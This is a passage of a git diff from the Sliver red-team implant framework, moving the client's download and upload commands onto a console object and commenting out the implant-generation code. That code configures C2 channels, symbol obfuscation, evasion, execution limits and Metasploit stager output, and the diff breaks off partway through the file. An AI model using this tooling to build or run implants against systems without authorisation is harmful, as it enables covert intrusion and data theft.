+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -248,7 +249,7 @@ func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
@@ -266,49 +267,49 @@ func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
- download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
- Request: ActiveSession.Request(ctx),
+ download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+ Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
- fmt.Printf(Warn+"Decoding failed %s", err)
+ con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
- fmt.Printf(Warn+"Failed to open local file %s: %s\n", dst, err)
+ con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
- fmt.Printf(Warn+"Failed to write data %v\n", err)
+ con.PrintErrorf("Failed to write data %v\n", err)
} else {
- fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dstFile.Name())
+ con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
- if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
- err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
- if err != nil {
- fmt.Printf(Warn+"Failed to save output as loot: %s", err)
- } else {
- fmt.Printf(Info + "Output saved as loot\n")
- }
- }
+ // if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
+ // err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
+ // if err != nil {
+ // con.PrintErrorf("Failed to save output as loot: %s", err)
+ // } else {
+ // fmt.Printf(Info + "Output saved as loot\n")
+ // }
+ // }
}
-func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
+func Upload(ctx *grumble.Context, con *console.SliverConsoleClient) {
+ session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -317,14 +318,14 @@ func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
remotePath := ctx.Args.String("remote-path")
if localPath == "" {
- fmt.Printf(Warn + "Missing parameter, see `help upload`\n")
+ con.PrintErrorf("Missing parameter, see `help upload`\n")
return
}
src, _ := filepath.Abs(localPath)
_, err := os.Stat(src)
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
return
}
@@ -339,8 +340,8 @@ func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl)
- upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
- Request: ActiveSession.Request(ctx),
+ upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
+ Request: con.ActiveSession.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
@@ -348,8 +349,8 @@ func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
ctrl <- true
<-ctrl
if err != nil {
- fmt.Printf(Warn+"%s\n", err)
+ con.PrintErrorf("%s\n", err)
} else {
- fmt.Printf(clearln+Info+"Wrote file to %s\n", upload.Path)
+ con.PrintInfof("Wrote file to %s\n", upload.Path)
}
}
diff --git a/client/command/generate.go b/client/command/generate.go
index 9d4834eb3e..513f0bfb5f 100644
--- a/client/command/generate.go
+++ b/client/command/generate.go
@@ -1,892 +1,892 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "bytes"
- "context"
- "errors"
- "fmt"
- "io/ioutil"
- "log"
- "net"
- "net/url"
- "os"
- "path"
- "path/filepath"
- "regexp"
- "strings"
- "text/tabwriter"
-
- "time"
-
- "github.com/AlecAivazis/survey/v2"
- consts "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
-
-var (
- // SupportedCompilerTargets - Supported compiler targets
- SupportedCompilerTargets = map[string]bool{
- "darwin/amd64": true,
- "darwin/arm64": true,
- "linux/386": true,
- "linux/amd64": true,
- "windows/386": true,
- "windows/amd64": true,
- }
-
- validFormats = []string{
- "bash",
- "c",
- "csharp",
- "dw",
- "dword",
- "hex",
- "java",
- "js_be",
- "js_le",
- "num",
- "perl",
- "pl",
- "powershell",
- "ps1",
- "py",
- "python",
- "raw",
- "rb",
- "ruby",
- "sh",
- "vbapplication",
- "vbscript",
- }
-)
-
-func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- config := parseCompileFlags(ctx, rpc)
- if config == nil {
- return
- }
- save := ctx.Flags.String("save")
- if save == "" {
- save, _ = os.Getwd()
- }
- compile(config, save, rpc)
-}
-
-func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- save := ctx.Flags.String("save")
- if save == "" {
- save, _ = os.Getwd()
- }
-
- regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
- ImplantName: ctx.Args.String("implant-name"),
- })
- if err != nil {
- fmt.Printf(Warn+"Failed to regenerate implant %s\n", err)
- return
- }
- if regenerate.File == nil {
- fmt.Printf(Warn + "Failed to regenerate implant (no data)\n")
- return
- }
- saveTo, err := saveLocation(save, regenerate.File.Name)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
- if err != nil {
- fmt.Printf(Warn+"Failed to write to %s\n", err)
- return
- }
- fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo)
-}
-
-func saveLocation(save, defaultName string) (string, error) {
- var saveTo string
- if save == "" {
- save, _ = os.Getwd()
- }
- fi, err := os.Stat(save)
- if os.IsNotExist(err) {
- log.Printf("%s does not exist\n", save)
- if strings.HasSuffix(save, "/") {
- log.Printf("%s is dir\n", save)
- os.MkdirAll(save, 0700)
- saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName))
- } else {
- log.Printf("%s is not dir\n", save)
- saveDir := filepath.Dir(save)
- _, err := os.Stat(saveTo)
- if os.IsNotExist(err) {
- os.MkdirAll(saveDir, 0700)
- }
- saveTo, _ = filepath.Abs(save)
- }
- } else {
- log.Printf("%s does exist\n", save)
- if fi.IsDir() {
- log.Printf("%s is dir\n", save)
- saveTo, _ = filepath.Abs(path.Join(save, defaultName))
- } else {
- log.Printf("%s is not dir\n", save)
- prompt := &survey.Confirm{Message: "Overwrite existing file?"}
- var confirm bool
- survey.AskOne(prompt, &confirm)
- if !confirm {
- return "", errors.New("File already exists")
- }
- saveTo, _ = filepath.Abs(save)
- }
- }
- return saveTo, nil
-}
-
-func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- var stageProto clientpb.StageProtocol
- lhost := ctx.Flags.String("lhost")
- if lhost == "" {
- fmt.Println(Warn + "please specify a listening host")
- return
- }
- match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
- if err != nil {
- return
- }
- if !match {
- addr, err := net.LookupHost(lhost)
- if err != nil {
- fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err)
- return
- }
- if len(addr) > 1 {
- prompt := &survey.Select{
- Message: "Select an address",
- Options: addr,
- }
- err := survey.AskOne(prompt, &lhost)
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
- } else {
- lhost = addr[0]
- }
- }
- lport := ctx.Flags.Int("lport")
- stageOS := ctx.Flags.String("os")
- arch := ctx.Flags.String("arch")
- proto := ctx.Flags.String("protocol")
- format := ctx.Flags.String("format")
- badchars := ctx.Flags.String("badchars")
- save := ctx.Flags.String("save")
-
- bChars := make([]string, 0)
- if len(badchars) > 0 {
- for _, b := range strings.Split(badchars, " ") {
- bChars = append(bChars, fmt.Sprintf("\\x%s", b))
- }
- }
-
- switch proto {
- case "tcp":
- stageProto = clientpb.StageProtocol_TCP
- case "http":
- stageProto = clientpb.StageProtocol_HTTP
- case "https":
- stageProto = clientpb.StageProtocol_HTTPS
- default:
- fmt.Printf(Warn+"%s staging protocol not supported\n", proto)
- return
- }
-
- ctrl := make(chan bool)
- go spin.Until("Generating stager, please wait ...", ctrl)
- stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
- Arch: arch,
- BadChars: bChars,
- Format: format,
- Host: lhost,
- Port: uint32(lport),
- Protocol: stageProto,
- OS: stageOS,
- })
- ctrl <- true
- <-ctrl
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if save != "" || format == "raw" {
- saveTo, _ := filepath.Abs(save)
- fi, err := os.Stat(saveTo)
- if err != nil {
- fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err)
- return
- }
- if fi.IsDir() {
- saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
- }
- err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
- if err != nil {
- fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
- return
- }
- fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo)
- } else {
- fmt.Println(Info + "Here's your stager:")
- fmt.Println(string(stageFile.GetFile().GetData()))
- }
-
-}
-
-func nameOfOutputFormat(value clientpb.OutputFormat) string {
- switch value {
- case clientpb.OutputFormat_EXECUTABLE:
- return "Executable"
- case clientpb.OutputFormat_SERVICE:
- return "Service"
- case clientpb.OutputFormat_SHARED_LIB:
- return "Shared Library"
- case clientpb.OutputFormat_SHELLCODE:
- return "Shellcode"
- }
- panic(fmt.Sprintf("Unknown format %v", value))
-}
-
-func generateCompilerInfo(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- compiler, err := rpc.GetCompiler(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Failed to get compiler information: %s\n", err)
- return
- }
- fmt.Printf("%sServer:%s %s/%s\n", bold, normal, compiler.GOOS, compiler.GOARCH)
- fmt.Println()
- fmt.Printf("%sCross Compilers%s\n", bold, normal)
- for _, cc := range compiler.CrossCompilers {
- fmt.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
- }
- fmt.Println()
- fmt.Printf("%sSupported Targets%s\n", bold, normal)
- for _, target := range compiler.Targets {
- fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
- }
- fmt.Println()
- fmt.Printf("%sDefault Builds Only%s\n", bold, normal)
- for _, target := range compiler.UnsupportedTargets {
- fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
- }
-}
-
-// Shared function that extracts the compile flags from the grumble context
-func parseCompileFlags(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) *clientpb.ImplantConfig {
- var name string
- if ctx.Flags["name"] != nil {
- name = strings.ToLower(ctx.Flags.String("name"))
-
- if name != "" {
- isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
- if !isAlphanumeric(name) {
- fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n")
- return nil
- }
- }
- }
-
- c2s := []*clientpb.ImplantC2{}
-
- mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
- c2s = append(c2s, mtlsC2...)
-
- wgC2 := parseWGc2(ctx.Flags.String("wg"))
- c2s = append(c2s, wgC2...)
-
- httpC2 := parseHTTPc2(ctx.Flags.String("http"))
- c2s = append(c2s, httpC2...)
-
- dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
- c2s = append(c2s, dnsC2...)
-
- namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
- c2s = append(c2s, namedPipeC2...)
-
- tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
- c2s = append(c2s, tcpPivotC2...)
-
- var symbolObfuscation bool
- if ctx.Flags.Bool("debug") {
- symbolObfuscation = false
- } else {
- symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
- }
-
- if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
- fmt.Printf(Warn + "Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
- return nil
- }
-
- rawCanaries := ctx.Flags.String("canary")
- canaryDomains := []string{}
- if 0 < len(rawCanaries) {
- for _, canaryDomain := range strings.Split(rawCanaries, ",") {
- if !strings.HasSuffix(canaryDomain, ".") {
- canaryDomain += "." // Ensure we have the FQDN
- }
- canaryDomains = append(canaryDomains, canaryDomain)
- }
- }
-
- reconnectInterval := ctx.Flags.Int("reconnect")
- pollInterval := ctx.Flags.Int("poll")
- maxConnectionErrors := ctx.Flags.Int("max-errors")
-
- limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
- limitHostname := ctx.Flags.String("limit-hostname")
- limitUsername := ctx.Flags.String("limit-username")
- limitDatetime := ctx.Flags.String("limit-datetime")
- limitFileExists := ctx.Flags.String("limit-fileexists")
-
- isSharedLib := false
- isService := false
- isShellcode := false
-
- format := ctx.Flags.String("format")
- var configFormat clientpb.OutputFormat
- switch format {
- case "exe":
- configFormat = clientpb.OutputFormat_EXECUTABLE
- case "shared":
- configFormat = clientpb.OutputFormat_SHARED_LIB
- isSharedLib = true
- case "shellcode":
- configFormat = clientpb.OutputFormat_SHELLCODE
- isShellcode = true
- case "service":
- configFormat = clientpb.OutputFormat_SERVICE
- isService = true
- default:
- // default to exe
- configFormat = clientpb.OutputFormat_EXECUTABLE
- }
-
- targetOS := strings.ToLower(ctx.Flags.String("os"))
- arch := strings.ToLower(ctx.Flags.String("arch"))
- targetOS, arch = getTargets(targetOS, arch)
- if targetOS == "" || arch == "" {
- return nil
- }
-
- if len(namedPipeC2) > 0 && targetOS != "windows" {
- fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.")
- return nil
- }
-
- var tunIP net.IP
- if wg := ctx.Flags.String("wg"); wg != "" {
- uniqueWGIP, err := rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
- tunIP = net.ParseIP(uniqueWGIP.IP)
- if err != nil {
- fmt.Println(Warn + "Failed to generate unique ip for wg peer tun interface")
- return nil
- }
- fmt.Printf(Info+"Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
- }
-
- config := &clientpb.ImplantConfig{
- GOOS: targetOS,
- GOARCH: arch,
- Name: name,
- Debug: ctx.Flags.Bool("debug"),
- Evasion: ctx.Flags.Bool("evasion"),
- ObfuscateSymbols: symbolObfuscation,
- C2: c2s,
- CanaryDomains: canaryDomains,
-
- WGPeerTunIP: tunIP.String(),
- WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
- WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
-
- ReconnectInterval: uint32(reconnectInterval),
- PollInterval: uint32(pollInterval),
- MaxConnectionErrors: uint32(maxConnectionErrors),
-
- LimitDomainJoined: limitDomainJoined,
- LimitHostname: limitHostname,
- LimitUsername: limitUsername,
- LimitDatetime: limitDatetime,
- LimitFileExists: limitFileExists,
-
- Format: configFormat,
- IsSharedLib: isSharedLib,
- IsService: isService,
- IsShellcode: isShellcode,
- }
-
- return config
-}
-
-func getTargets(targetOS string, targetArch string) (string, string) {
-
- /* For UX we convert some synonymous terms */
- if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
- targetOS = "darwin"
- }
- if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
- targetOS = "windows"
- }
- if targetOS == "linux" || targetOS == "lin" {
- targetOS = "linux"
- }
-
- if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
- targetArch = "amd64"
- }
- if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
- targetArch = "386"
- }
-
- target := fmt.Sprintf("%s/%s", targetOS, targetArch)
- if _, ok := SupportedCompilerTargets[target]; !ok {
- fmt.Printf("ā ļø Unsupported compiler target %s%s%s, but we can try to compile a default implant.\n",
- bold, target, normal,
- )
- fmt.Printf("ā ļø Default implants do not support all commands/features.\n")
- prompt := &survey.Confirm{Message: "Compile a default build?"}
- var confirm bool
- survey.AskOne(prompt, &confirm)
- if !confirm {
- return "", ""
- }
- }
-
- return targetOS, targetArch
-}
-
-func parseMTLSc2(args string) []*clientpb.ImplantC2 {
- c2s := []*clientpb.ImplantC2{}
- if args == "" {
- return c2s
- }
- for index, arg := range strings.Split(args, ",") {
- uri := url.URL{Scheme: "mtls"}
- uri.Host = arg
- if uri.Port() == "" {
- uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort)
- }
- c2s = append(c2s, &clientpb.ImplantC2{
- Priority: uint32(index),
- URL: uri.String(),
- })
- }
- return c2s
-}
-
-func parseWGc2(args string) []*clientpb.ImplantC2 {
- c2s := []*clientpb.ImplantC2{}
- if args == "" {
- return c2s
- }
- for index, arg := range strings.Split(args, ",") {
- arg = strings.ToLower(arg)
- uri := url.URL{Scheme: "wg"}
- uri.Host = arg
- if uri.Port() == "" {
- uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultWGLPort)
- }
- c2s = append(c2s, &clientpb.ImplantC2{
- Priority: uint32(index),
- URL: uri.String(),
- })
- }
- return c2s
-}
-
-func parseHTTPc2(args string) []*clientpb.ImplantC2 {
- c2s := []*clientpb.ImplantC2{}
- if args == "" {
- return c2s
- }
- for index, arg := range strings.Split(args, ",") {
- arg = strings.ToLower(arg)
- var uri *url.URL
- var err error
- if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
- uri, err = url.Parse(arg)
- if err != nil {
- log.Printf("Failed to parse C2 URL %s", err)
- continue
- }
- } else {
- uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
- if err != nil {
- log.Printf("Failed to parse C2 URL %s", err)
- continue
- }
- }
- c2s = append(c2s, &clientpb.ImplantC2{
- Priority: uint32(index),
- URL: uri.String(),
- })
- }
- return c2s
-}
-
-func parseDNSc2(args string) []*clientpb.ImplantC2 {
- c2s := []*clientpb.ImplantC2{}
- if args == "" {
- return c2s
- }
- for index, arg := range strings.Split(args, ",") {
- uri := url.URL{Scheme: "dns"}
- if len(arg) < 1 {
- continue
- }
- // Make sure we have the FQDN
- if !strings.HasSuffix(arg, ".") {
- arg += "."
- }
- if strings.HasPrefix(arg, ".") {
- arg = arg[1:]
- }
-
- uri.Host = arg
- c2s = append(c2s, &clientpb.ImplantC2{
- Priority: uint32(index),
- URL: uri.String(),
- })
- }
- return c2s
-}
-
-func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
- c2s := []*clientpb.ImplantC2{}
- if args == "" {
- return c2s
- }
- for index, arg := range strings.Split(args, ",") {
- uri, err := url.Parse("namedpipe://" + arg)
- if len(arg) < 1 {
- continue
- }
- if err != nil {
- return c2s
- }
- c2s = append(c2s, &clientpb.ImplantC2{
- Priority: uint32(index),
- URL: uri.String(),
- })
- }
- return c2s
-}
-
-func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
- c2s := []*clientpb.ImplantC2{}
- if args == "" {
- return c2s
- }
- for index, arg := range strings.Split(args, ",") {
-
- uri := url.URL{Scheme: "tcppivot"}
- uri.Host = arg
- if uri.Port() == "" {
- uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort)
- }
- c2s = append(c2s, &clientpb.ImplantC2{
- Priority: uint32(index),
- URL: uri.String(),
- })
- }
- return c2s
-}
-
-func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- name := ctx.Flags.String("name")
- if name == "" {
- fmt.Printf(Warn + "no profile selected")
- return
- }
- save := ctx.Flags.String("save")
- if save == "" {
- save, _ = os.Getwd()
- }
- profile := getImplantProfileByName(rpc, name)
- if profile != nil {
- implantFile, err := compile(profile.Config, save, rpc)
- if err != nil {
- return
- }
- profile.Config.Name = buildImplantName(implantFile.Name)
- _, err = rpc.SaveImplantProfile(context.Background(), profile)
- if err != nil {
- fmt.Printf(Warn+"could not update implant profile: %v\n", err)
- return
- }
- } else {
- fmt.Printf(Warn+"No profile with name '%s'", name)
- }
-}
-
-func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) {
-
- fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
-
- if config.ObfuscateSymbols {
- fmt.Printf(Info+"%sSymbol obfuscation is enabled%s\n", bold, normal)
- } else if !config.Debug {
- fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal)
- }
-
- start := time.Now()
- ctrl := make(chan bool)
- go spin.Until("Compiling, please wait ...", ctrl)
-
- generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
- Config: config,
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return nil, err
- }
-
- end := time.Now()
- elapsed := time.Time{}.Add(end.Sub(start))
- fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05"))
- if len(generated.File.Data) == 0 {
- fmt.Printf(Warn + "Build failed, no file data\n")
- return nil, errors.New("No file data")
- }
-
- saveTo, err := saveLocation(save, generated.File.Name)
- if err != nil {
- return nil, err
- }
-
- err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
- if err != nil {
- fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
- return nil, err
- }
- fmt.Printf(Info+"Implant saved to %s\n", saveTo)
- return generated.File, err
-}
-
-func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- profiles := getImplantProfiles(rpc)
- if profiles == nil {
- return
- }
- if len(profiles) == 0 {
- fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewStr)
- return
- }
- table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
- fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("Name")),
- strings.Repeat("=", len("Platform")),
- strings.Repeat("=", len("Command & Control")),
- strings.Repeat("=", len("Debug")),
- strings.Repeat("=", len("Format")),
- strings.Repeat("=", len("Obfuscation")),
- strings.Repeat("=", len("Limitations")),
- )
-
- for _, profile := range profiles {
- config := profile.Config
- if 0 < len(config.C2) {
- obfuscation := "strings only"
- if config.ObfuscateSymbols {
- obfuscation = "symbols obfuscation"
- }
- if config.Debug {
- obfuscation = "none"
- }
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
- profile.Name,
- fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
- fmt.Sprintf("[1] %s", config.C2[0].URL),
- fmt.Sprintf("%v", config.Debug),
- fmt.Sprintf("%v", config.Format),
- fmt.Sprintf("%s", obfuscation),
- getLimitsString(config),
- )
- }
- if 1 < len(config.C2) {
- for index, c2 := range config.C2[1:] {
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
- "",
- "",
- fmt.Sprintf("[%d] %s", index+2, c2.URL),
- "",
- "",
- "",
- "",
- )
- }
- }
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
- }
- table.Flush()
-}
-
-func getLimitsString(config *clientpb.ImplantConfig) string {
- limits := []string{}
- if config.LimitDatetime != "" {
- limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
- }
- if config.LimitDomainJoined {
- limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
- }
- if config.LimitUsername != "" {
- limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
- }
- if config.LimitHostname != "" {
- limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
- }
- if config.LimitFileExists != "" {
- limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
- }
- return strings.Join(limits, "; ")
-}
-
-func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- name := ctx.Flags.String("profile-name")
- if name == "" {
- fmt.Printf(Warn + "Invalid profile name\n")
- return
- }
- config := parseCompileFlags(ctx, rpc)
- if config == nil {
- return
- }
- profile := &clientpb.ImplantProfile{
- Name: name,
- Config: config,
- }
- resp, err := rpc.SaveImplantProfile(context.Background(), profile)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- } else {
- fmt.Printf(Info+"Saved new profile %s\n", resp.Name)
- }
-}
-
-func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- _, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
- Name: ctx.Args.String("profile-name"),
- })
- if err != nil {
- fmt.Printf(Warn+"Failed to delete profile %s\n", err)
- return
- }
-}
-
-func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile {
- pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Error %s", err)
- return nil
- }
- return pbProfiles.Profiles
-}
-
-func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile {
- pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Error %s", err)
- return nil
- }
- for _, profile := range pbProfiles.Profiles {
- if profile.Name == name {
- return profile
- }
- }
- return nil
-}
-
-func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Failed to list canaries %s", err)
- return
- }
- if 0 < len(canaries.Canaries) {
- displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned"))
- } else {
- fmt.Printf(Info + "No canaries in database\n")
- }
-}
-
-func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) {
-
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
- fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("Sliver Name")),
- strings.Repeat("=", len("Domain")),
- strings.Repeat("=", len("Triggered")),
- strings.Repeat("=", len("First Trigger")),
- strings.Repeat("=", len("Latest Trigger")),
- )
-
- lineColors := []string{}
- for _, canary := range canaries {
- if burnedOnly && !canary.Triggered {
- continue
- }
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
- canary.ImplantName,
- canary.Domain,
- fmt.Sprintf("%v", canary.Triggered),
- canary.FirstTriggered,
- canary.LatestTrigger,
- )
- if canary.Triggered {
- lineColors = append(lineColors, bold+red)
- } else {
- lineColors = append(lineColors, normal)
- }
- }
- table.Flush()
-
- for index, line := range strings.Split(outputBuf.String(), "\n") {
- if len(line) == 0 {
- continue
- }
- // We need to account for the two rows of column headers
- if 0 < len(line) && 2 <= index {
- lineColor := lineColors[index-2]
- fmt.Printf("%s%s%s\n", lineColor, line, normal)
- } else {
- fmt.Printf("%s\n", line)
- }
- }
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "bytes"
+// "context"
+// "errors"
+// "fmt"
+// "io/ioutil"
+// "log"
+// "net"
+// "net/url"
+// "os"
+// "path"
+// "path/filepath"
+// "regexp"
+// "strings"
+// "text/tabwriter"
+
+// "time"
+
+// "github.com/AlecAivazis/survey/v2"
+// consts "github.com/bishopfox/sliver/client/constants"
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
